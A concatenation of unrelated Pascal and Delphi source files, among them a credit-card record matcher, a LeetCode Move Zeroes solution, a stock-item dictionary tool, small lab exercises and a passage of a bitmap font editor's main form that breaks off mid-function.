then begin PCCRecord := TPCCRecord(FList.Objects[i]); if (PCCRecord.Ticket = ATicket) and ComperCCDate(PCCRecord.Date, ADate) and (PCCRecord.Station = AStation) and ComperCCAmount(PCCRecord.Amount, AAmount) and ComperCCCard(PCCRecord.Card, ACard) and TestResult(PCCRecord.Result) then begin Result := PCCRecord; Break; end; end; end; end; function TPCCRecordList.ComperCCCard(ACCard1, ACCard2: String): Boolean; var sCardTemp : string; begin sCardTemp := Copy(ACCard2, 1, 4); sCardTemp := sCardTemp + '........' + Copy(ACCard2, Length(ACCard2)-3, Length(ACCard2)); Result := (ACCard1 = sCardTemp); end; function TPCCRecordList.ComperCCDate(ADate1, ADate2: String): Boolean; var FDate1, FDate2 : TDateTime; begin try FDate1 := StrToDate(ADate1); except end; try FDate2 := StrToDate(ADate2); except end; Result := (FDate1 = FDate2); end; function TPCCRecordList.ComperCCAmount(AAmount1, AAmount2: String): Boolean; begin Result := (StringReplace(AAmount1, '$', '', []) = AAmount2); end; function TPCCRecordList.TestResult(AResult: String): Boolean; begin Result := (AResult = 'CAPTURED') or (AResult = 'APPROVED') or (AResult = 'VOIDED') or (AResult = 'PROCESSED'); end; end.
unit Chapter03._04_Solution4; {$mode objfpc}{$H+} interface uses Classes, SysUtils, DeepStar.Utils; // 283. Move Zeroes // https://leetcode.com/problems/move-zeroes/description/ // // 原地(in place)解决该问题 // 时间复杂度: O(n) // 空间复杂度: O(1) type TSolution = class(TObject) public procedure MoveZeroes(arr: TArr_int); end; procedure Main; implementation procedure Main; var arr: TArr_int; begin arr := [0, 1, 0, 3, 12]; with TSolution.Create do begin MoveZeroes(arr); Free; end; TArrayUtils_int.Print(arr); end; { TSolution } procedure TSolution.MoveZeroes(arr: TArr_int); var k, i: integer; begin k := 0; // nums中, [0...k)的元素均为非0元素 // 遍历到第i个元素后,保证[0...i]中所有非0元素 // 都按照顺序排列在[0...k)中 for i := 0 to High(arr) do begin if arr[i] <> 0 then begin if i <> k then begin TUtils_int.Swap(arr[k], arr[i]); k += 1; end else K += 1; end; end; end; end.
unit DesignView; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, RsRuler, DesignSurface, Design; type TDesignViewForm = class(TForm) RulerPanel: TPanel; RsRuler1: TRsRuler; RsRulerCorner1: TRsRulerCorner; LeftRuler: TRsRuler; Scroller: TDesignScrollBox; BackPanel: TPanel; procedure FormCreate(Sender: TObject); procedure FormShow(Sender: TObject); private { Private declarations } FDesignForm: TDesignForm; protected procedure SetDesignForm(const Value: TDesignForm); public { Public declarations } procedure ActivateDesign; procedure DeactivateDesign; property DesignForm: TDesignForm read FDesignForm write SetDesignForm; end; var DesignViewForm: TDesignViewForm; implementation uses LrUtils, DesignManager; {$R *.dfm} const cMargin = 12; procedure TDesignViewForm.FormCreate(Sender: TObject); begin RulerPanel.DoubleBuffered := true; end; procedure TDesignViewForm.FormShow(Sender: TObject); begin ActivateDesign; end; procedure TDesignViewForm.ActivateDesign; procedure ResetScrollbars; begin Scroller.HorzScrollBar.Position := 0; Scroller.VertScrollBar.Position := 0; end; begin if {Showing and} (DesignForm <> nil) then begin DesignForm.Visible := true; DesignForm.Designer.Active := true; end; ResetScrollbars; end; procedure TDesignViewForm.DeactivateDesign; begin if DesignForm <> nil then begin DesignForm.Designer.Active := false; DesignForm.Visible := false; end; end; procedure TDesignViewForm.SetDesignForm(const Value: TDesignForm); begin DeactivateDesign; FDesignForm := Value; if DesignForm = nil then DesignMgr.Designer := nil else begin DesignMgr.Designer := DesignForm.Designer; DesignForm.Parent := BackPanel; DesignForm.Visible := true; end; ActivateDesign; end; end.
PROGRAM CandleonTree; USES Math; (* recursive *) FUNCTION Candles(h: INTEGER) : INTEGER; BEGIN IF h = 1 THEN Candles := 1 Else Candles := 3**(h-1) + Candles(h-1); End; (* iterative *) FUNCTION Candles_Iterative(h : INTEGER) : INTEGER; VAR candles : INTEGER; BEGIN candles := 0; WHILE h > 1 DO BEGIN h := h - 1; candles := candles + 3**(h); END; Candles_Iterative := candles + 1; END; VAR result, result_it : INTEGER; BEGIN WriteLn(chr(205),chr(205),chr(185),' Candles on XMas Tree ',chr(204),chr(205),chr(205)); result := Candles(1); result_it := Candles_Iterative(1); WriteLn('Candles with height 1: ',result, ' Iterative: ', result_it); result := Candles(2); result_it := Candles_Iterative(2); WriteLn('Candles with height 2: ',result, ' Iterative: ', result_it); result := Candles(3); result_it := Candles_Iterative(3); WriteLn('Candles with height 3: ',result, ' Iterative: ', result_it); result := Candles(4); result_it := Candles_Iterative(4); WriteLn('Candles with height 4: ',result, ' Iterative: ', result_it); result := Candles(5); result_it := Candles_Iterative(5); WriteLn('Candles with height 5: ',result, ' Iterative: ', result_it); result := Candles(6); result_it := Candles_Iterative(6); WriteLn('Candles with height 6: ',result, ' Iterative: ', result_it); END.
unit StockDicForm; interface uses Windows, Messages, ActiveX, SysUtils, ShellApi, Dialogs, Classes, Controls, Forms, StdCtrls, ExtCtrls, VirtualTrees, define_dealitem, DealItemsTreeView, BaseApp, BaseWinApp, db_dealitem, BaseStockApp, BaseForm; type TfrmStockDic = class(TfrmBase) pnlTop: TPanel; pnlBottom: TPanel; pnlLeft: TPanel; btnSaveDic: TButton; spl1: TSplitter; pnlRight: TPanel; mmo1: TMemo; btnOpen: TButton; btnClear: TButton; btnSaveIni: TButton; procedure btnSaveDicClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure tmrAppStartTimer(Sender: TObject); procedure btnOpenClick(Sender: TObject); procedure btnClearClick(Sender: TObject); procedure btnSaveIniClick(Sender: TObject); protected fDealItemTree: TDealItemTreeCtrl; fAppStartTimer: TTimer; procedure WMDropFiles(var msg : TWMDropFiles) ; message WM_DROPFILES; procedure SaveDealItemDBAsDic(AFileUrl: string); procedure SaveDealItemDBAsIni(AFileUrl: string); public { Public declarations } constructor Create(AOwner: TComponent); override; end; TStockDicApp = class(TBaseStockApp) protected frmStockDic: TfrmStockDic; public constructor Create(AppClassId: AnsiString); override; function Initialize: Boolean; override; procedure Run; override; end; var GlobalApp: TStockDicApp = nil; implementation uses db_dealitem_load, db_dealItem_LoadIni, db_dealItem_Save; {$R *.dfm} constructor TStockDicApp.Create(AppClassId: AnsiString); begin inherited; end; function TStockDicApp.Initialize: Boolean; begin inherited Initialize; Result := true; Application.Initialize; Application.MainFormOnTaskbar := True; InitializeDBStockItem; end; procedure TStockDicApp.Run; begin Application.CreateForm(TfrmStockDic, frmStockDic); Application.Run; end; constructor TfrmStockDic.Create(AOwner: TComponent); begin inherited; Self.OnCreate := FormCreate; App := GlobalApp; fAppStartTimer := TTimer.Create(Application); fAppStartTimer.Interval := 100; fAppStartTimer.OnTimer := tmrAppStartTimer; fAppStartTimer.Enabled := true; //fVtDealItems.Columns = <>; end; procedure TfrmStockDic.FormCreate(Sender: TObject); begin DragAcceptFiles(Handle, True) ; // end; procedure TfrmStockDic.tmrAppStartTimer(Sender: TObject); begin if nil <> Sender then begin if Sender is TTimer then begin TTimer(Sender).Enabled := false; TTimer(Sender).OnTimer := nil; end; fAppStartTimer.Enabled := false; fAppStartTimer.OnTimer := nil; end; fDealItemTree := TDealItemTreeCtrl.Create(pnlLeft); fDealItemTree.InitializeDealItemsTree(fDealItemTree.TreeView); fDealItemTree.BuildDealItemsTreeNodes; end; procedure TfrmStockDic.WMDropFiles(var msg: TWMDropFiles); const MAXFILENAME = 255; var tmpcnt: integer; tmpfileCount : integer; tmpfileName : array [0..MAXFILENAME] of char; tmpFileUrl: string; tmpNewFileUrl: string; tmpPath: string; begin // how many files dropped? tmpfileCount := DragQueryFile(msg.Drop, $FFFFFFFF, tmpfileName, MAXFILENAME) ; tmpPath := ''; // query for file names for tmpcnt := 0 to tmpfileCount -1 do begin DragQueryFile(msg.Drop, tmpcnt, tmpfileName, MAXFILENAME) ; //do something with the file(s) mmo1.Lines.Insert(0, tmpfileName); tmpFileUrl := tmpfileName; if 0 < Pos('.ini', tmpFileUrl) then begin //DB_StockItem_LoadIni.LoadDBStockItemIni(GlobalApp, GlobalApp.fDBStockItem); db_dealItem_LoadIni.LoadDBStockItemIniFromFile(GlobalApp, GlobalApp.StockItemDB, tmpFileUrl); end; if 0 < Pos('.dic', tmpFileUrl) then begin LoadDBStockItemDicFromFile(GlobalApp, GlobalApp.StockItemDB, tmpFileUrl); end; if '' = tmpPath then tmpPath := ExtractFilePath(tmpFileUrl); end; if 0 < GlobalApp.StockItemDB.RecordCount then begin tmpNewFileUrl := ''; if 1 < tmpfileCount then begin tmpNewFileUrl := tmpPath + 'items' + FormatDateTime('yyyymmdd', now) + '.dic'; end else begin tmpNewFileUrl := ChangeFileExt(tmpFileUrl, '.dic'); end; if '' <> tmpNewFileUrl then begin if not FileExists(tmpNewFileUrl) then begin SaveDealItemDBAsDic(tmpNewFileUrl); end; end; end; //release memory DragFinish(msg.Drop) ; fDealItemTree.BuildDealItemsTreeNodes; end; procedure TfrmStockDic.SaveDealItemDBAsDic(AFileUrl: string); begin GlobalApp.StockItemDB.Sort; db_dealItem_Save.SaveDBStockItemToDicFile(GlobalApp, GlobalApp.StockItemDB, AFileUrl); end; procedure TfrmStockDic.SaveDealItemDBAsIni(AFileUrl: string); begin GlobalApp.StockItemDB.Sort; db_dealItem_Save.SaveDBStockItemToIniFile(GlobalApp, GlobalApp.StockItemDB, AFileUrl); end; procedure TfrmStockDic.btnClearClick(Sender: TObject); begin inherited; fDealItemTree.Clear; GlobalApp.StockItemDB.Clear; end; procedure TfrmStockDic.btnOpenClick(Sender: TObject); var tmpFileUrl: string; tmpOpenDlg: TOpenDialog; i: integer; tmpIsDone: Boolean; begin tmpOpenDlg := TOpenDialog.Create(Self); try tmpOpenDlg.InitialDir := ExtractFilePath(ParamStr(0)); tmpOpenDlg.DefaultExt := '.dic'; tmpOpenDlg.Filter := 'dic file|*.dic|ini file|*.ini'; tmpOpenDlg.Options := tmpOpenDlg.Options + [ofAllowMultiSelect]; //tmpOpenDlg.OptionsEx := []; if not tmpOpenDlg.Execute then exit; tmpIsDone := false; for i := 0 to tmpOpenDlg.Files.Count - 1 do begin tmpFileUrl := tmpOpenDlg.Files[i]; if 0 < Pos('.ini', lowercase(tmpFileUrl)) then begin db_dealItem_LoadIni.LoadDBStockItemIniFromFile(GlobalApp, GlobalApp.StockItemDB, tmpFileUrl); tmpIsDone := true; end; if 0 < Pos('.dic', lowercase(tmpFileUrl)) then begin db_dealItem_Load.LoadDBStockItemDicFromFile(GlobalApp, GlobalApp.StockItemDB, tmpFileUrl); tmpIsDone := true; end; end; if tmpIsDone then begin fDealItemTree.BuildDealItemsTreeNodes; end; finally tmpOpenDlg.Free; end; end; procedure TfrmStockDic.btnSaveDicClick(Sender: TObject); var tmpFileUrl: string; tmpSaveDlg: TSaveDialog; begin tmpFileUrl := ''; tmpSaveDlg := TSaveDialog.Create(Self); try tmpSaveDlg.InitialDir := ExtractFilePath(ParamStr(0)); tmpSaveDlg.DefaultExt := '.dic'; tmpSaveDlg.Filter := 'dic file|*.dic'; if not tmpSaveDlg.Execute then exit; tmpFileUrl := tmpSaveDlg.FileName; if '' <> Trim(tmpFileUrl) then begin SaveDealItemDBAsDic(tmpFileUrl); end; finally tmpSaveDlg.Free; end; end; procedure TfrmStockDic.btnSaveIniClick(Sender: TObject); var tmpFileUrl: string; tmpSaveDlg: TSaveDialog; begin tmpFileUrl := ''; tmpSaveDlg := TSaveDialog.Create(Self); try tmpSaveDlg.InitialDir := ExtractFilePath(ParamStr(0)); tmpSaveDlg.DefaultExt := '.ini'; tmpSaveDlg.Filter := 'ini file|*.ini'; if not tmpSaveDlg.Execute then exit; tmpFileUrl := tmpSaveDlg.FileName; if '' <> Trim(tmpFileUrl) then begin SaveDealItemDBAsIni(tmpFileUrl); end; finally tmpSaveDlg.Free; end; end; end.
program lab_7; var perimeter: real:= 0; lineLength: real:= 0; arrPointX: array of real:= ( 2, 5, -7 ); arrPointY: array of real:= ( 4, 2, 3 ); lengthArr: integer:= Length(arrPointX) - 1; i, j: integer; procedure countLineLength( pointOneX, pointOneY, pointTwoX, pointTwoY: real; var lineLength: real); begin lineLength:= sqrt( sqr( pointTwoX - pointOneX ) + sqr( pointTwoY - pointOneY) ); end; begin for i:= 0 to lengthArr do begin j:= 0; if i <> lengthArr then j:= i + 1; countLineLength(arrPointX[i], arrPointY[i], arrPointX[j], arrPointY[j], lineLength); perimeter:= perimeter + lineLength; end; Write('Perimeter := ', perimeter); end.
unit uFrmMainFNT; {$mode objfpc}{$H+} interface uses LCLIntf, LCLType, SysUtils, Forms, Classes, Graphics, Controls, Dialogs, ExtCtrls, StdCtrls, Buttons, ComCtrls, ExtDlgs, Spin, IntfGraphics, uFNT, uIniFile, uFrmBpp, FileUtil, FPimage, uColorTable , uSort, uTools, ufrmFNTView, LConvEncoding, uFrmCFG, ufrmPalette; const FONT_COLOR = 1; EDGE_COLOR = 2; SHADOW_COLOR = 3; TRANSPARENT_COLOR = 0; TOTAL_LAYERS = 3; type TRGBTriple = record R, G, B : Byte; end; TRGBLine = Array[Word] of TRGBTriple; pRGBLine = ^TRGBLine; { TfrmMainFNT } TfrmMainFNT = class(TForm) Bevel1: TBevel; Bevel2: TBevel; Bevel3: TBevel; cbCharset: TComboBox; dlgFont: TFontDialog; EPreview: TEdit; gbCharset: TGroupBox; Label3: TLabel; Label4: TLabel; Label5: TLabel; pTools: TToolBar; pTop: TPanel; gbLoadFont: TGroupBox; bgSize: TGroupBox; gbStyle: TGroupBox; edSizeFont: TEdit; cbStyle: TComboBox; gbSymbolType: TGroupBox; cbUpper: TCheckBox; cbMinus: TCheckBox; cbNumbers: TCheckBox; cbSymbol: TCheckBox; gbSelectColor: TGroupBox; imgSelect: TImage; sbChangeBGColor: TSpeedButton; sbExport: TSpeedButton; sbImport: TSpeedButton; sbLoadFont: TSpeedButton; gbShadow: TGroupBox; lbShadow: TLabel; gbFont: TGroupBox; sbInfo: TStatusBar; dlgOpen: TOpenDialog; cbExtended: TCheckBox; gbEdge: TGroupBox; rbsLT: TRadioButton; rbsTM: TRadioButton; rbsRT: TRadioButton; rbsRM: TRadioButton; rbsLM: TRadioButton; rbsLD: TRadioButton; rbsDM: TRadioButton; rbsRD: TRadioButton; sbOpen: TSpeedButton; sbSave: TSpeedButton; sbSaveAs: TSpeedButton; sbSaveText: TSpeedButton; sbSelectImage: TSpeedButton; sbSelectColor: TSpeedButton; rbSFont: TRadioButton; rbSEdge: TRadioButton; rbSShadow: TRadioButton; lbSizeEdge: TLabel; lbNameFontB: TLabel; lbNameFont: TLabel; sbShowFNT: TSpeedButton; sedSizeEdge: TSpinEdit; sedSizeShadow: TSpinEdit; dlgColor: TColorDialog; dlgOpenPicture: TOpenPictureDialog; dlgSave: TSaveDialog; pImage: TPanel; imgPreview: TImage; gInfo: TProgressBar; pInfo: TPanel; sbMakeFont: TSpeedButton; sbOptions: TSpeedButton; sdSaveText: TSaveDialog; odImportFNT: TOpenDialog; seReAlfa: TSpinEdit; Label1: TLabel; seFontAlfa: TSpinEdit; seSoAlfa: TSpinEdit; Label2: TLabel; seCharPreview: TSpinEdit; ToolBar1: TToolBar; procedure cbCharsetChange(Sender: TObject); procedure EPreviewChange(Sender: TObject); procedure FormResize(Sender: TObject); procedure Label5Click(Sender: TObject); procedure sbOpenClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure lvFontExit(Sender: TObject); procedure sbLoadFontClick(Sender: TObject); procedure edSizeEdgeKeyPress(Sender: TObject; var Key: Char); procedure edSizeShadowKeyPress(Sender: TObject; var Key: Char); procedure edSizeFontKeyPress(Sender: TObject; var Key: Char); procedure sbShowFNTClick(Sender: TObject); procedure sbShowPaletteClick(Sender: TObject); procedure rbSFontClick(Sender: TObject); procedure rbSEdgeClick(Sender: TObject); procedure rbSShadowClick(Sender: TObject); procedure sbSelectColorClick(Sender: TObject); procedure sbSelectImageClick(Sender: TObject); procedure cbStyleChange(Sender: TObject); procedure FormClose(Sender: TObject; var Action1: TCloseAction); procedure cbUpperClick(Sender: TObject); procedure cbMinusClick(Sender: TObject); procedure cbNumbersClick(Sender: TObject); procedure cbSymbolClick(Sender: TObject); procedure cbExtendedClick(Sender: TObject); procedure rbsRDClick(Sender: TObject); procedure rbsDMClick(Sender: TObject); procedure rbsLDClick(Sender: TObject); procedure rbsRMClick(Sender: TObject); procedure rbsLMClick(Sender: TObject); procedure rbsRTClick(Sender: TObject); procedure rbsTMClick(Sender: TObject); procedure rbsLTClick(Sender: TObject); procedure sbSaveClick(Sender: TObject); procedure sbSaveAsClick(Sender: TObject); procedure sbChangeBGColorClick(Sender: TObject); procedure sbWriteTextClick(Sender: TObject); procedure sbMakeFontClick(Sender: TObject); procedure sbExportClick(Sender: TObject); procedure sbImportClick(Sender: TObject); procedure sbOptionsClick(Sender: TObject); procedure sbSaveTextClick(Sender: TObject); procedure seCharPreviewChange(Sender: TObject); procedure seFontAlfaChange(Sender: TObject); procedure seSoAlfaChange(Sender: TObject); procedure seReAlfaChange(Sender: TObject); private { Private declarations } function GetUpOffset( bmpsrc : TBitMap ) : LongInt; function GetDownOffset( bmpsrc : TBitMap ) : LongInt; function GetNumberOfFNT( ) : LongInt; procedure SetPaletteColor( i, color1: LongInt ); procedure ExtractAllFNT; procedure ExtractFNT ( index : LongInt ); procedure InsertEdge ( index : LongInt ); procedure InsertShadow( index : LongInt ); procedure RenderFNT ( index : LongInt ); procedure CreatePAL; procedure MakeFont; procedure MakePreview; procedure MakeEdge; procedure MakeShadow; procedure MakeFontDraw; procedure CreateBitmaps; procedure DestroyBitmaps; procedure ClearBitmap(var bmp: TBitmap); procedure UpdateBGColor; procedure MakeText(str_in: string); procedure MakeChar(index: integer); procedure ExportFNT(str : string); procedure ImportFNT(str : string); procedure drawProgress( str : string ); procedure EnableButtons; procedure createSelectedImageBox(color1 :TColor); function OpenFNT( sfile: string ) : boolean; procedure MakeTextParsingCharset( str : String); public { Public declarations } dpCount, dpTotal : LongInt; font_edge : LongInt; font_shadow: LongInt; img_font, img_edge, img_shadow : TBitMap; nFont : TFont; procedure openParamFile; end; var frmMainFNT: TfrmMainFNT; //text_color, ed_color, sh_color : LongInt; //AATable : Array [0 .. 255, 0 .. 255] of real; //posadd : Longint; const // to use with previous lazarus version without iso8859_15 ArrayISO_8859_15ToUTF8: TCharToUTF8Table = ( #0, // #0 #1, // #1 #2, // #2 #3, // #3 #4, // #4 #5, // #5 #6, // #6 #7, // #7 #8, // #8 #9, // #9 #10, // #10 #11, // #11 #12, // #12 #13, // #13 #14, // #14 #15, // #15 #16, // #16 #17, // #17 #18, // #18 #19, // #19 #20, // #20 #21, // #21 #22, // #22 #23, // #23 #24, // #24 #25, // #25 #26, // #26 #27, // #27 #28, // #28 #29, // #29 #30, // #30 #31, // #31 ' ', // ' ' '!', // '!' '"', // '"' '#', // '#' '$', // '$' '%', // '%' '&', // '&' '''', // '''' '(', // '(' ')', // ')' '*', // '*' '+', // '+' ',', // ',' '-', // '-' '.', // '.' '/', // '/' '0', // '0' '1', // '1' '2', // '2' '3', // '3' '4', // '4' '5', // '5' '6', // '6' '7', // '7' '8', // '8' '9', // '9' ':', // ':' ';', // ';' '<', // '<' '=', // '=' '>', // '>' '?', // '?' '@', // '@' 'A', // 'A' 'B', // 'B' 'C', // 'C' 'D', // 'D' 'E', // 'E' 'F', // 'F' 'G', // 'G' 'H', // 'H' 'I', // 'I' 'J', // 'J' 'K', // 'K' 'L', // 'L' 'M', // 'M' 'N', // 'N' 'O', // 'O' 'P', // 'P' 'Q', // 'Q' 'R', // 'R' 'S', // 'S' 'T', // 'T' 'U', // 'U' 'V', // 'V' 'W', // 'W' 'X', // 'X' 'Y', // 'Y' 'Z', // 'Z' '[', // '[' '\', // '\' ']', // ']' '^', // '^' '_', // '_' '`', // '`' 'a', // 'a' 'b', // 'b' 'c', // 'c' 'd', // 'd' 'e', // 'e' 'f', // 'f' 'g', // 'g' 'h', // 'h' 'i', // 'i' 'j', // 'j' 'k', // 'k' 'l', // 'l' 'm', // 'm' 'n', // 'n' 'o', // 'o' 'p', // 'p' 'q', // 'q' 'r', // 'r' 's', // 's' 't', // 't' 'u', // 'u' 'v', // 'v' 'w', // 'w' 'x', // 'x' 'y', // 'y' 'z', // 'z' '{', // '{' '|', // '|' '}', // '}' '~', // '~' #127, // #127 #194#128, // #128 #194#129, // #129 #194#130, // #130 #194#131, // #131 #194#132, // #132 #194#133, // #133 #194#134, // #134 #194#135, // #135 #194#136, // #136 #194#137, // #137 #194#138, // #138 #194#139, // #139 #194#140, // #140 #194#141, // #141 #194#142, // #142 #194#143, // #143 #194#144, // #144 #194#145, // #145 #194#146, // #146 #194#147, // #147 #194#148, // #148 #194#149, // #149 #194#150, // #150 #194#151, // #151 #194#152, // #152 #194#153, // #153 #194#154, // #154 #194#155, // #155 #194#156, // #156 #194#157, // #157 #194#158, // #158 #194#159, // #159 #194#160, // #160 #194#161, // #161 #194#162, // #162 #194#163, // #163 #226#130#172, // #164 #194#165, // #165 #197#160, // #166 #194#167, // #167 #197#161, // #168 #194#169, // #169 #194#170, // #170 #194#171, // #171 #194#172, // #172 #194#173, // #173 #194#174, // #174 #194#175, // #175 #194#176, // #176 #194#177, // #177 #194#178, // #178 #194#179, // #179 #197#189, // #180 #194#181, // #181 #194#182, // #182 #194#183, // #183 #197#190, // #184 #194#185, // #185 #194#186, // #186 #194#187, // #187 #197#146, // #188 #197#147, // #189 #197#184, // #190 #194#191, // #191 #195#128, // #192 #195#129, // #193 #195#130, // #194 #195#131, // #195 #195#132, // #196 #195#133, // #197 #195#134, // #198 #195#135, // #199 #195#136, // #200 #195#137, // #201 #195#138, // #202 #195#139, // #203 #195#140, // #204 #195#141, // #205 #195#142, // #206 #195#143, // #207 #195#144, // #208 #195#145, // #209 #195#146, // #210 #195#147, // #211 #195#148, // #212 #195#149, // #213 #195#150, // #214 #195#151, // #215 #195#152, // #216 #195#153, // #217 #195#154, // #218 #195#155, // #219 #195#156, // #220 #195#157, // #221 #195#158, // #222 #195#159, // #223 #195#160, // #224 #195#161, // #225 #195#162, // #226 #195#163, // #227 #195#164, // #228 #195#165, // #229 #195#166, // #230 #195#167, // #231 #195#168, // #232 #195#169, // #233 #195#170, // #234 #195#171, // #235 #195#172, // #236 #195#173, // #237 #195#174, // #238 #195#175, // #239 #195#176, // #240 #195#177, // #241 #195#178, // #242 #195#179, // #243 #195#180, // #244 #195#181, // #245 #195#182, // #246 #195#183, // #247 #195#184, // #248 #195#185, // #249 #195#186, // #250 #195#187, // #251 #195#188, // #252 #195#189, // #253 #195#190, // #254 #195#191 // #255 ); resourcestring LNG_NORMAL ='Normal'; LNG_BOLD ='Negrita'; LNG_UNDERLINE ='Subrayado'; LNG_LABELED ='Tachado'; implementation {$R *.lfm} function ISO_8859_15ToUTF8(const s: string): string; begin Result:=SingleByteToUTF8(s,ArrayISO_8859_15ToUTF8); end; function UnicodeToISO_8859_15(Unicode: cardinal): integer; begin case Unicode of 0..255: Result:=Unicode; 8364: Result:=164; 352: Result:=166; 353: Result:=168; 381: Result:=180; 382: Result:=184; 338: Result:=188; 339: Result:=189; 376: Result:=190; else Result:=-1; end; end; function UTF8ToISO_8859_15(const s: string): string; begin Result:=UTF8ToSingleByte(s,@UnicodeToISO_8859_15); end; function TfrmMainFNT.GetNumberOfFNT( ) : LongInt; begin result := 0; if cbUpper.Checked then result := result + 25; if cbMinus.Checked then result := result + 25; if cbNumbers.Checked then result := result + 10; if cbSymbol.Checked then result := result + 68; if cbExtended.Checked then result := result + 128; end; procedure TfrmMainFNT.drawProgress( str : string ); begin gInfo.Visible := (Length(str) > 0); pInfo.Visible := (Length(str) > 0); if Length(str) <= 0 then begin dpCount := 0; Exit; end; pInfo.Caption := str; if dpTotal > 0 then begin gInfo.Position := (dpCount * 100) div dpTotal; gInfo.Repaint; dpCount := dpCount + 1; end; Repaint; end; procedure TfrmMainFNT.MakeEdge; var i : LongInt; begin dpCount := 0; for i := 0 to 255 do if( fnt_container.char_data[i].ischar ) then begin InsertEdge( i ); drawProgress('Añadiendo reborde...'); end; end; procedure TfrmMainFNT.MakeShadow; var i : LongInt; begin dpCount := 0; for i := 0 to 255 do if( fnt_container.char_data[i].ischar ) then begin InsertShadow( i ); drawProgress('Añadiendo sombra...'); end; end; procedure TfrmMainFNT.MakeFontDraw; var i : Longint; begin // Pintando Tipografía dpCount := 0; for i := 0 to 255 do if( fnt_container.char_data[i].ischar ) then begin RenderFNT( i ); drawProgress('Pintando Tipografía...'); end; end; procedure TfrmMainFNT.MakePreview; var x, nNumber, nUpper, nDown, nSymbol, nExtended : LongInt; i, MaxWidth, MaxHeight : LongInt; bmp_buffer : TBitmap; begin x := 0; nNumber := 0; nUpper := 0; nDown := 0; nSymbol := 0; nExtended := 0; if (inifile_symbol_type and 1 ) <> 0 then x := x + 1; if (inifile_symbol_type and 2 ) <> 0 then x := x + 1; if (inifile_symbol_type and 4 ) <> 0 then x := x + 1; if (inifile_symbol_type and 8 ) <> 0 then x := x + 1; if (inifile_symbol_type and 16) <> 0 then x := x + 1; case x of 5:begin nNumber := 2; nUpper := 2; nDown := 2; nSymbol := 1; nExtended := 1; end; 4,3:begin nNumber := 2; nUpper := 2; nDown := 2; nSymbol := 2; nExtended := 2; end; 2:begin nNumber := 4; nUpper := 4; nDown := 4; nSymbol := 4; nExtended := 4; end; 1:begin nNumber := 8; nUpper := 8; nDown := 8; nSymbol := 8; nExtended := 8; end; end; MaxWidth := 0; MaxHeight := 0; if (inifile_symbol_type and 1 ) <> 0 then for i := 48 to 47 + nNumber do begin MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; if (inifile_symbol_type and 2 ) <> 0 then for i := 65 to 64 + nUpper do begin MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; if (inifile_symbol_type and 4 ) <> 0 then for i := 97 to 96 + nDown do begin MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; if (inifile_symbol_type and 8 ) <> 0 then for i := 33 to 32 + nSymbol do begin MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; if (inifile_symbol_type and 16) <> 0 then for i := 128 to 127 + nExtended do begin MaxWidth := MaxWidth + fnt_container.header.char_info[i].width; if (fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset) > MaxHeight then MaxHeight := fnt_container.header.char_info[i].height + fnt_container.header.char_info[i].vertical_offset; end; bmp_buffer := TBitmap.Create; bmp_buffer.PixelFormat := pf32bit; //bmp_buffer.Palette := CopyPalette(fnt_hpal); bmp_buffer.Width := MaxWidth + 2; bmp_buffer.Height := MaxHeight + 2; ClearBitmap(bmp_buffer); x := 1; if (inifile_symbol_type and 1 ) <> 0 then for i := 48 to 47 + nNumber do begin bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[i].vertical_offset + 1, fnt_container.char_data[i].Bitmap ); x := x + fnt_container.header.char_info[i].width; end; if (inifile_symbol_type and 2 ) <> 0 then for i := 65 to 64 + nUpper do begin bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[i].vertical_offset + 1, fnt_container.char_data[i].Bitmap ); x := x + fnt_container.header.char_info[i].width; end; if (inifile_symbol_type and 4 ) <> 0 then for i := 97 to 96 + nDown do begin bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[i].vertical_offset + 1, fnt_container.char_data[i].Bitmap ); x := x + fnt_container.header.char_info[i].width; end; if (inifile_symbol_type and 8 ) <> 0 then for i := 33 to 32 + nSymbol do begin bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[i].vertical_offset + 1, fnt_container.char_data[i].Bitmap ); x := x + fnt_container.header.char_info[i].width; end; if (inifile_symbol_type and 16) <> 0 then for i := 128 to 127 + nExtended do begin bmp_buffer.Canvas.Draw( x, fnt_container.header.char_info[i].vertical_offset + 1, fnt_container.char_data[i].Bitmap ); x := x + fnt_container.header.char_info[i].width; end; imgPreview.Picture.Bitmap.assign(bmp_buffer); // imgPreview.Picture.Bitmap.Transparent:=true; // imgPreview.Picture.Bitmap.TransparentColor:=clBlack; bmp_buffer.Destroy; end; function isSameColor( color1, color2 : TFPColor ) : boolean; begin result:= (color1.red = color2.red) and (color1.green = color2.green) and (color1.blue = color2.blue) and (color1.alpha = color2.alpha); end; function TfrmMainFNT.GetUpOffset( bmpsrc : TBitMap ) : LongInt; var i, j : LongInt; lazBMP : TLazIntfImage; begin result := bmpsrc.Height; // Buscamos el desplazamiento vertical lazBMP := bmpsrc.CreateIntfImage; for j := 0 to (lazBMP.Height - 1) do begin for i := 0 to (lazBMP.Width - 1) do if not isSameColor(lazBmp.Colors[i,j], colTransparent) then begin result := j; Exit; end; end; lazBMP.Free; end; function TfrmMainFNT.GetDownOffset( bmpsrc : TBitMap ) : LongInt; var i, j : LongInt; lazBMP : TLazIntfImage; begin result := bmpsrc.Height; // Buscamos el desplazamiento vertical bajo lazBMP:= bmpsrc.CreateIntfImage; for j := (lazBMP.Height - 1) 